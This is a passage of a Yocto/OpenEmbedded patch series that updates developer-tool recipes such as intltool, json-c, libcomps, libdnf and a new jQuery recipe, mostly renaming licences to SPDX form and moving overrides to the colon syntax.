+ perl-module-constant perl-module-file-basename \
+ perl-module-fcntl perl-module-strict perl-module-vars \
+ perl-module-carp \
+ "
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "i2cdetect i2cdump i2cget i2cset i2ctransfer"
+ALTERNATIVE_LINK_NAME[i2cdetect] = "${sbindir}/i2cdetect"
+ALTERNATIVE_LINK_NAME[i2cdump] = "${sbindir}/i2cdump"
+ALTERNATIVE_LINK_NAME[i2cget] = "${sbindir}/i2cget"
+ALTERNATIVE_LINK_NAME[i2cset] = "${sbindir}/i2cset"
+ALTERNATIVE_LINK_NAME[i2ctransfer] = "${sbindir}/i2ctransfer"
diff --git a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
index 053945ebbc..b716b0245b 100644
--- a/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
+++ b/meta/recipes-devtools/icecc-create-env/icecc-create-env_0.1.bb
@@ -2,15 +2,16 @@ SUMMARY = "icecc environment setup script"
DESCRIPTION = "This is a version of the icecc-create-env script that has \
been modified in order to make it work with OE."
SECTION = "base"
-# source file has just a "GPL" word, but upstream is GPLv2+.
+# source file has just a "GPL" word, but upstream is GPL-2.0-or-later.
# most probably just GPL would be a mistake
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://icecc-create-env;beginline=2;endline=5;md5=ae1df3d6a058bfda40b66094c5f6065f"
PR = "r2"
DEPENDS = ""
INHIBIT_DEFAULT_DEPS = "1"
+ICECC_DISABLED = "1"
# This is needed, because otherwise there is dependency loop from quilt-native
# Dependency loop #1 found:
@@ -34,3 +35,5 @@ do_install() {
}
BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN}:class-nativesdk = "patchelf"
diff --git a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
index 304ad7fec0..034a0047d7 100644
--- a/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
+++ b/meta/recipes-devtools/icecc-toolchain/nativesdk-icecc-toolchain_0.1.bb
@@ -1,6 +1,7 @@
# Copyright (c) 2018 Joshua Watt, Garmin International,Inc.
# Released under the MIT license (see COPYING.MIT for the terms)
SUMMARY = "Generates Icecream toolchain for SDK"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${WORKDIR}/icecc-env.sh;beginline=2;endline=20;md5=dd6b68c1efed8a9fb04e409b3b287d47"
@@ -33,6 +34,6 @@ do_install() {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${SDKPATHNATIVE}"
-RDEPENDS_${PN} += "nativesdk-icecc-create-env"
+FILES:${PN} = "${SDKPATHNATIVE}"
+RDEPENDS:${PN} += "nativesdk-icecc-create-env"
diff --git a/meta/recipes-devtools/intltool/intltool_0.51.0.bb b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
index ecff2faf25..0f90ab4f1c 100644
--- a/meta/recipes-devtools/intltool/intltool_0.51.0.bb
+++ b/meta/recipes-devtools/intltool/intltool_0.51.0.bb
@@ -1,6 +1,8 @@
SUMMARY = "Utility scripts for internationalizing XML"
+HOMEPAGE = "https://launchpad.net/intltool"
+DESCRIPTION = "Utility scripts for internationalizing XML. This tool automatically extracts translatable strings from oaf, glade, bonobo ui, nautilus theme and other XML files into the po files."
SECTION = "devel"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
SRC_URI = "http://launchpad.net/${BPN}/trunk/${PV}/+download/${BP}.tar.gz \
@@ -15,23 +17,23 @@ SRC_URI[sha256sum] = "67c74d94196b153b774ab9f89b2fa6c6ba79352407037c8c14d5aeb334
UPSTREAM_CHECK_URI = "https://launchpad.net/intltool/trunk/"
DEPENDS = "libxml-parser-perl-native"
-RDEPENDS_${PN} = "gettext-dev libxml-parser-perl"
-DEPENDS_class-native = "libxml-parser-perl-native gettext-native"
+RDEPENDS:${PN} = "gettext-dev libxml-parser-perl"
+DEPENDS:class-native = "libxml-parser-perl-native gettext-native"
inherit autotools pkgconfig perlnative
export PERL = "${bindir}/env perl"
-PERL_class-native = "/usr/bin/env nativeperl"
-PERL_class-nativesdk = "/usr/bin/env perl"
+PERL:class-native = "/usr/bin/env nativeperl"
+PERL:class-nativesdk = "/usr/bin/env perl"
# gettext is assumed to exist on the host
-RDEPENDS_${PN}_class-native = "libxml-parser-perl-native"
-RRECOMMENDS_${PN} = "perl-modules"
-RRECOMMENDS_${PN}_class-native = ""
+RDEPENDS:${PN}:class-native = "libxml-parser-perl-native"
+RRECOMMENDS:${PN} = "perl-modules"
+RRECOMMENDS:${PN}:class-native = ""
-FILES_${PN}-dev = ""
-FILES_${PN} += "${datadir}/aclocal"
+FILES:${PN}-dev = ""
+FILES:${PN} += "${datadir}/aclocal"
-INSANE_SKIP_${PN} += "dev-deps"
+INSANE_SKIP:${PN} += "dev-deps"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/jquery/jquery_3.6.0.bb b/meta/recipes-devtools/jquery/jquery_3.6.0.bb
new file mode 100644
index 0000000000..39ffd38114
--- /dev/null
+++ b/meta/recipes-devtools/jquery/jquery_3.6.0.bb
@@ -0,0 +1,39 @@
+SUMMARY = "jQuery is a fast, small, and feature-rich JavaScript library"
+HOMEPAGE = "https://jquery.com/"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "MIT"
+SECTION = "devel"
+LIC_FILES_CHKSUM = "file://${S}/${BP}.js;beginline=8;endline=10;md5=9c7c6e9ab275fc1e0d99cb7180ecd14c"
+
+# unpack items to ${S} so the archiver can see them
+#
+SRC_URI = "\
+ https://code.jquery.com/${BP}.js;name=js;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.js;name=min;subdir=${BP} \
+ https://code.jquery.com/${BP}.min.map;name=map;subdir=${BP} \
+ "
+
+SRC_URI[js.sha256sum] = "1fe2bb5390a75e5d61e72c107cab528fc3c29a837d69aab7d200e1dbb5dcd239"
+SRC_URI[min.sha256sum] = "ff1523fb7389539c84c65aba19260648793bb4f5e29329d2ee8804bc37a3fe6e"
+SRC_URI[map.sha256sum] = "399548fb0e7b146c12f5ba18099a47d594a970fee96212eee0ab4852f3e56782"
+
+UPSTREAM_CHECK_REGEX = "jquery-(?P<pver>\d+(\.\d+)+)\.js"
+
+# https://github.com/jquery/jquery/issues/3927
+# There are ways jquery can expose security issues but any issues are in the apps exposing them
+# and there is little we can directly do
+CVE_CHECK_IGNORE += "CVE-2007-2379"
+
+inherit allarch
+
+do_install() {
+ install -d ${D}${datadir}/javascript/${BPN}/
+ install -m 644 ${S}/${BP}.js ${D}${datadir}/javascript/${BPN}/${BPN}.js
+ install -m 644 ${S}/${BP}.min.js ${D}${datadir}/javascript/${BPN}/${BPN}.min.js
+ install -m 644 ${S}/${BP}.min.map ${D}${datadir}/javascript/${BPN}/${BPN}.min.map
+}
+
+PACKAGES = "${PN}"
+FILES:${PN} = "${datadir}"
+
+BBCLASSEXTEND += "native nativesdk"
diff --git a/meta/recipes-devtools/json-c/json-c/add-disable-werror-option-to-configure.patch b/meta/recipes-devtools/json-c/json-c/add-disable-werror-option-to-configure.patch
deleted file mode 100644
index 0c20c8458a..0000000000
--- a/meta/recipes-devtools/json-c/json-c/add-disable-werror-option-to-configure.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-json-c: Backport --disable-werror patch to allow compilation under icecc
-
-icecc preprocesses source files locally before shipping them off to be compiled
-on remote hosts. This preprocessing removes comments, including /* fallthough */
-comments in switch statements that normally prevent an implicit-fallthrough
-warning, see https://github.com/icecc/icecream/issues/419
-
-Rather than turning off -Werror, the upstream project has implemented a
-configure option, --disable-werror, in response to Ross's
-https://github.com/json-c/json-c/issues/489
-
-This patch from
-https://github.com/json-c/json-c/commit/21c886534f8927fdc0fb5f8647394f3e0e0874b8
-
-Upstream-Status: Backport [Not yet released]
-Signed-off-by: Douglas Royds <douglas.royds@taitradio.com>
-
-From 21c886534f8927fdc0fb5f8647394f3e0e0874b8 Mon Sep 17 00:00:00 2001
-From: Pierce Lopez <pierce.lopez@gmail.com>
-Date: Sun, 9 Jun 2019 10:52:08 -0400
-Subject: [PATCH] build: add --disable-werror option to configure
-
-to omit -Werror compiler option
----
- configure.ac | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 272ea6af9c..798fd5b747 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -165,7 +165,12 @@ AS_IF([test "x$enable_Bsymbolic" = "xcheck"],
- AS_IF([test "x$enable_Bsymbolic" = "xyes"], [JSON_BSYMBOLIC_LDFLAGS=-Wl[,]-Bsymbolic-functions])
- AC_SUBST(JSON_BSYMBOLIC_LDFLAGS)
-
--AX_APPEND_COMPILE_FLAGS([-Wall -Werror -Wcast-qual -Wno-error=deprecated-declarations])
-+AC_ARG_ENABLE([werror],
-+ AS_HELP_STRING([--disable-werror], [avoid treating compiler warnings as fatal errors]))
-+
-+AS_IF([test "x$enable_werror" != "xno"], [AX_APPEND_COMPILE_FLAGS([-Werror])])
-+
-+AX_APPEND_COMPILE_FLAGS([-Wall -Wcast-qual -Wno-error=deprecated-declarations])
- AX_APPEND_COMPILE_FLAGS([-Wextra -Wwrite-string -Wno-unused-parameter])
- AX_APPEND_COMPILE_FLAGS([-D_GNU_SOURCE])
-
diff --git a/meta/recipes-devtools/json-c/json-c_0.13.1.bb b/meta/recipes-devtools/json-c/json-c_0.13.1.bb
deleted file mode 100644
index 522879f21f..0000000000
--- a/meta/recipes-devtools/json-c/json-c_0.13.1.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "C bindings for apps which will manipulate JSON data"
-DESCRIPTION = "JSON-C implements a reference counting object model that allows you to easily construct JSON objects in C."
-HOMEPAGE = "https://github.com/json-c/json-c/wiki"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=de54b60fbbc35123ba193fea8ee216f2"
-
-SRC_URI = "https://s3.amazonaws.com/json-c_releases/releases/${BP}.tar.gz \
- file://add-disable-werror-option-to-configure.patch \
- "
-SRC_URI[md5sum] = "04969ad59cc37bddd83741a08b98f350"
-SRC_URI[sha256sum] = "b87e608d4d3f7bfdd36ef78d56d53c74e66ab278d318b71e6002a369d36f4873"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "json-c-(?P<pver>\d+(\.\d+)+)-\d+"
-
-RPROVIDES_${PN} = "libjson"
-
-inherit autotools
-
-EXTRA_OECONF = "--disable-werror"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/json-c/json-c_0.15.bb b/meta/recipes-devtools/json-c/json-c_0.15.bb
new file mode 100644
index 0000000000..a4673a2f0e
--- /dev/null
+++ b/meta/recipes-devtools/json-c/json-c_0.15.bb
@@ -0,0 +1,18 @@
+SUMMARY = "C bindings for apps which will manipulate JSON data"
+DESCRIPTION = "JSON-C implements a reference counting object model that allows you to easily construct JSON objects in C."
+HOMEPAGE = "https://github.com/json-c/json-c/wiki"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=de54b60fbbc35123ba193fea8ee216f2"
+
+SRC_URI = "https://s3.amazonaws.com/json-c_releases/releases/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "b8d80a1ddb718b3ba7492916237bbf86609e9709fb007e7f7d4322f02341a4c6"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/tags"
+UPSTREAM_CHECK_REGEX = "json-c-(?P<pver>\d+(\.\d+)+)-\d+"
+
+RPROVIDES:${PN} = "libjson"
+
+inherit cmake
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch b/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
deleted file mode 100644
index ff90269a23..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps/0001-Add-crc32.c-to-sources-list.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 83407aa50e06d967d0a1095a140bd7b0e5d51d27 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 21 Nov 2018 13:09:05 +0100
-Subject: [PATCH] Add crc32.c to sources list
-
-Otherwise, there is a missing symbol runtime error under musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libcomps/src/python/src/CMakeLists.txt | 4 ++--
- libcomps/src/python/src/crc32.c | 2 +-
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
-index 6ed25bb..c15c8b2 100644
---- a/libcomps/src/python/src/CMakeLists.txt
-+++ b/libcomps/src/python/src/CMakeLists.txt
-@@ -9,13 +9,13 @@ set (pycomps_SRCDIR ${CMAKE_CURRENT_SOURCE_DIR})
- set (pycomps_SRC pycomps.c pycomps_sequence.c
- pycomps_envs.c pycomps_categories.c pycomps_groups.c
- pycomps_gids.c pycomps_utils.c pycomps_dict.c pycomps_mdict.c
-- pycomps_hash.c pycomps_exc.c pycomps_lbw.c)
-+ pycomps_hash.c pycomps_exc.c pycomps_lbw.c crc32.c)
-
- set (pycomps_HEADERS pycomps_23macros.h pycomps_sequence.h
- pycomps_envs.h pycomps_categories.h pycomps_groups.h
- pycomps_gids.h pycomps_utils.h pycomps_dict.h pycomps_mdict.h
- pycomps_hash.h pycomps_exc.h pycomps_lbw.h
-- pycomps_types.h)
-+ pycomps_types.h crc32.h)
-
- #set(TEST_FILES ../__init__.py __test.py test_merge_comps.py test_libcomps.py
- # utest.py)
-diff --git a/libcomps/src/python/src/crc32.c b/libcomps/src/python/src/crc32.c
-index d8f5e34..f266067 100644
---- a/libcomps/src/python/src/crc32.c
-+++ b/libcomps/src/python/src/crc32.c
-@@ -41,7 +41,7 @@
- */
-
- #include <sys/param.h>
--#include <sys/systm.h>
-+#include <stdint.h>
-
- static uint32_t crc32_tab[] = {
- 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
diff --git a/meta/recipes-devtools/libcomps/libcomps/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/libcomps/libcomps/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
deleted file mode 100644
index 26e8b06f37..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From ff4aae4c8beaf17cb8e7a3431f6c541eccfae244 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 30 Dec 2016 18:22:09 +0200
-Subject: [PATCH 1/2] Do not set PYTHON_INSTALL_DIR by running python.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- libcomps/src/python/src/python2/CMakeLists.txt | 2 +-
- libcomps/src/python/src/python3/CMakeLists.txt | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/libcomps/src/python/src/python2/CMakeLists.txt b/libcomps/src/python/src/python2/CMakeLists.txt
-index 3ad9e18..0e7dd4b 100644
---- a/libcomps/src/python/src/python2/CMakeLists.txt
-+++ b/libcomps/src/python/src/python2/CMakeLists.txt
-@@ -1,7 +1,7 @@
- find_package (PythonLibs 2.6)
- find_package (PythonInterp 2.6 REQUIRED)
-
--execute_process (COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#execute_process (COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-
- include_directories(${PYTHON_INCLUDE_PATH})
- include_directories(${LIBCOMPS_INCLUDE_PATH})
-diff --git a/libcomps/src/python/src/python3/CMakeLists.txt b/libcomps/src/python/src/python3/CMakeLists.txt
-index 7fafa9f..ed82d3d 100644
---- a/libcomps/src/python/src/python3/CMakeLists.txt
-+++ b/libcomps/src/python/src/python3/CMakeLists.txt
-@@ -2,7 +2,7 @@ find_package (PythonLibs 3.0)
- find_package (PythonInterp 3.0)
- #add_custom_target(py3-copy)
-
--execute_process (COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#execute_process (COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-
- include_directories(${PYTHON_INCLUDE_PATH})
- include_directories(${LIBCOMPS_INCLUDE_PATH})
---
-2.11.0
-
diff --git a/meta/recipes-devtools/libcomps/libcomps/0001-Make-__comps_objmrtree_all-static-inline.patch b/meta/recipes-devtools/libcomps/libcomps/0001-Make-__comps_objmrtree_all-static-inline.patch
deleted file mode 100644
index 88469fb331..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps/0001-Make-__comps_objmrtree_all-static-inline.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 91a324f8771818b81017fdf4daaad0c8c4b6987c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 20 Mar 2017 11:38:54 -0700
-Subject: [PATCH] Make __comps_objmrtree_all() static inline
-
-This helps compilers to scope the symbol correctly
-and apply the inlining optimizations, clang e.g.
-emits the functions and calls in code which is
-suboptimal, therefore give a little help to compiler
-this function is not used anywhere else to have
-a global scope.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- libcomps/src/comps_objmradix.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/libcomps/src/comps_objmradix.c b/libcomps/src/comps_objmradix.c
-index 9be6648..55f7793 100644
---- a/libcomps/src/comps_objmradix.c
-+++ b/libcomps/src/comps_objmradix.c
-@@ -604,7 +604,7 @@ inline void comps_objmrtree_pair_destroy_v(void * pair) {
- free(pair);
- }
-
--inline COMPS_HSList* __comps_objmrtree_all(COMPS_ObjMRTree * rt, char keyvalpair) {
-+static inline COMPS_HSList* __comps_objmrtree_all(COMPS_ObjMRTree * rt, char keyvalpair) {
- COMPS_HSList *to_process, *ret;
- COMPS_HSListItem *hsit, *oldit;
- size_t x;
---
-2.12.0
-
diff --git a/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
new file mode 100644
index 0000000000..6cd052889a
--- /dev/null
+++ b/meta/recipes-devtools/libcomps/libcomps/0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -0,0 +1,27 @@
+From 32447a79e24f8e7e9e0150eb747f34116d63ef38 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 30 Dec 2016 18:22:09 +0200
+Subject: [PATCH 2/2] Do not set PYTHON_INSTALL_DIR by running python.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ libcomps/src/python/src/CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/libcomps/src/python/src/CMakeLists.txt b/libcomps/src/python/src/CMakeLists.txt
+index f813af4..9eebb6c 100644
+--- a/libcomps/src/python/src/CMakeLists.txt
++++ b/libcomps/src/python/src/CMakeLists.txt
+@@ -85,7 +85,7 @@ IF (SKBUILD)
+ INSTALL(FILES libcomps/__init__.py DESTINATION libcomps/src/python/src/libcomps)
+ INSTALL(TARGETS pycomps LIBRARY DESTINATION libcomps/src/python/src/libcomps)
+ ELSE ()
+- EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++ #EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+
+ INSTALL(FILES ${pycomps_SRCDIR}/libcomps/__init__.py DESTINATION ${PYTHON_INSTALL_DIR}/libcomps)
+ #INSTALL(FILES ${pycomps_SRCDIR}/tests/__test.py DESTINATION
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb b/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb
new file mode 100644
index 0000000000..dd0a1f8f95
--- /dev/null
+++ b/meta/recipes-devtools/libcomps/libcomps_0.1.18.bb
@@ -0,0 +1,23 @@
+SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
+HOMEPAGE = "https://github.com/rpm-software-management/libcomps"
+DESCRIPTION = "Libcomps is alternative for yum.comps library. It's written in pure C as library and there's bindings for python2 and python3."
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/libcomps.git;branch=master;protocol=https \
+ file://0002-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ "
+
+SRCREV = "dee4ae37f7818709802de28c4d16fa823bd83ae2"
+
+S = "${WORKDIR}/git"
+
+inherit cmake setuptools3-base
+
+DEPENDS += "libxml2 expat libcheck"
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
+OECMAKE_SOURCEPATH = "${S}/libcomps"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-devtools/libcomps/libcomps_git.bb b/meta/recipes-devtools/libcomps/libcomps_git.bb
deleted file mode 100644
index 372c3c3580..0000000000
--- a/meta/recipes-devtools/libcomps/libcomps_git.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SUMMARY = "Libcomps is alternative for yum.comps library (which is for managing rpm package groups)."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/libcomps.git \
- file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- file://0001-Make-__comps_objmrtree_all-static-inline.patch \
- file://0001-Add-crc32.c-to-sources-list.patch \
- "
-
-PV = "0.1.11"
-SRCREV = "d868a79b76fb980d1371c28124ae07f00d2b63a9"
-
-S = "${WORKDIR}/git"
-
-inherit cmake distutils3-base
-
-DEPENDS += "libxml2 expat libcheck"
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3"
-OECMAKE_SOURCEPATH = "${S}/libcomps"
-
-BBCLASSEXTEND = "native nativesdk"
-
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
deleted file mode 100644
index 3c87d4d8b3..0000000000
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Add-WITH_TESTS-option.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From e5a50db749b2b02e9e0cff9f7b639020e8ac76da Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 6 Nov 2018 13:54:43 +0100
-Subject: [PATCH] Add WITH_TESTS option
-
-This makes a dependency on cppunit optional.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- CMakeLists.txt | 3 +++
- python/hawkey/CMakeLists.txt | 2 ++
- 2 files changed, 5 insertions(+)
-
-diff --git a/CMakeLists.txt b/CMakeLists.txt
-index ce88b9e3..7a99320a 100644
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -32,6 +32,7 @@ option(WITH_HTML "Enables hawkey HTML generation" ON)
- option(WITH_MAN "Enables hawkey man page generation" ON)
- option(ENABLE_RHSM_SUPPORT "Build with Red Hat Subscription Manager support?" OFF)
- option(ENABLE_SOLV_URPMREORDER "Build with support for URPM-like solution reordering?" OFF)
-+option(WITH_TESTS "Enables unit tests" ON)
-
-
- # load pkg-config first; it's required by other modules
-@@ -158,8 +159,10 @@ endif()
-
-
- # build tests
-+IF (WITH_TESTS)
- enable_testing()
- add_subdirectory(tests)
-+ENDIF()
- if(WITH_BINDINGS)
- add_subdirectory(python/hawkey)
- endif()
-diff --git a/python/hawkey/CMakeLists.txt b/python/hawkey/CMakeLists.txt
-index d9645346..84d17204 100644
---- a/python/hawkey/CMakeLists.txt
-+++ b/python/hawkey/CMakeLists.txt
-@@ -50,4 +50,6 @@ target_link_libraries(_hawkeymodule ${PYTHON_LIBRARY})
- install(FILES __init__.py DESTINATION ${PYTHON_INSTALL_DIR}/hawkey)
- install(TARGETS _hawkeymodule LIBRARY DESTINATION ${PYTHON_INSTALL_DIR}/hawkey)
-
-+IF (WITH_TESTS)
- add_subdirectory(tests)
-+ENDIF()
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch b/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
index 10450defbe..c7b2af89d1 100644
--- a/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-Get-parameters-for-both-libsolv-and-libsolvext-libdn.patch
@@ -16,12 +16,12 @@ diff --git a/CMakeLists.txt b/CMakeLists.txt
index b722d4fb..ce88b9e3 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -45,7 +45,7 @@ endif()
+@@ -52,7 +52,7 @@ endif()
# build dependencies
find_package(Gpgme REQUIRED)
-PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv)
+PKG_CHECK_MODULES (LIBSOLV REQUIRED libsolv libsolvext)
set(LIBSOLV_LIBRARY ${LIBSOLV_LIBRARIES})
- find_package(OpenSSL REQUIRED)
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
new file mode 100644
index 0000000000..d483dd410b
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-drop-FindPythonInstDir.cmake.patch
@@ -0,0 +1,42 @@
+From c0a465ccae395871ab10932975e37894220bc6a1 Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@windriver.com>
+Date: Tue, 1 Jun 2021 10:23:59 +0800
+Subject: [PATCH] drop FindPythonInstDir.cmake
+
+Since commit [1] applied, PYTHON_INSTALL_DIR is not right
+on nativesdk build
+...
+|Building for python3
+|-- Python install dir is
+|tmp-glibc/work/x86_64-nativesdk-wrlinuxsdk-linux/nativesdk-libdnf/0.63.0-r0/
+recipe-sysroot-native/usr/lib/python3.9/site-packages
+...
+
+Yocto manually set PYTHON_INSTALL_DIR from recipe, it is not
+necessary to call FindPythonInstDir.cmake which will override
+Yocto setting
+
+[1] https://github.com/rpm-software-management/libdnf/commit/f1cffbfb9f338da827e233c2d8ac3a25a6a59a69
+
+Upstream-Status: Inappropriate [Yocto specific]
+
+Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+---
+ cmake/modules/FindPythonInstDir.cmake | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+diff --git a/cmake/modules/FindPythonInstDir.cmake b/cmake/modules/FindPythonInstDir.cmake
+index ed098ded..8b137891 100644
+--- a/cmake/modules/FindPythonInstDir.cmake
++++ b/cmake/modules/FindPythonInstDir.cmake
+@@ -1,6 +1 @@
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "
+-from sys import stdout
+-from sysconfig import get_path
+-path=get_path(name='platlib', vars={'platbase':'${CMAKE_INSTALL_PREFIX}'})
+-stdout.write(path)"
+-OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++
+--
+2.18.1
+
diff --git a/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch b/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch
new file mode 100644
index 0000000000..6f8a3dcb50
--- /dev/null
+++ b/meta/recipes-devtools/libdnf/libdnf/0001-libdnf-dnf-context.cpp-do-not-try-to-access-BDB-data.patch
@@ -0,0 +1,37 @@
+From 2f7382b35d59fe08034603497e82ffb943fedef1 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 30 Jun 2021 15:31:16 +0200
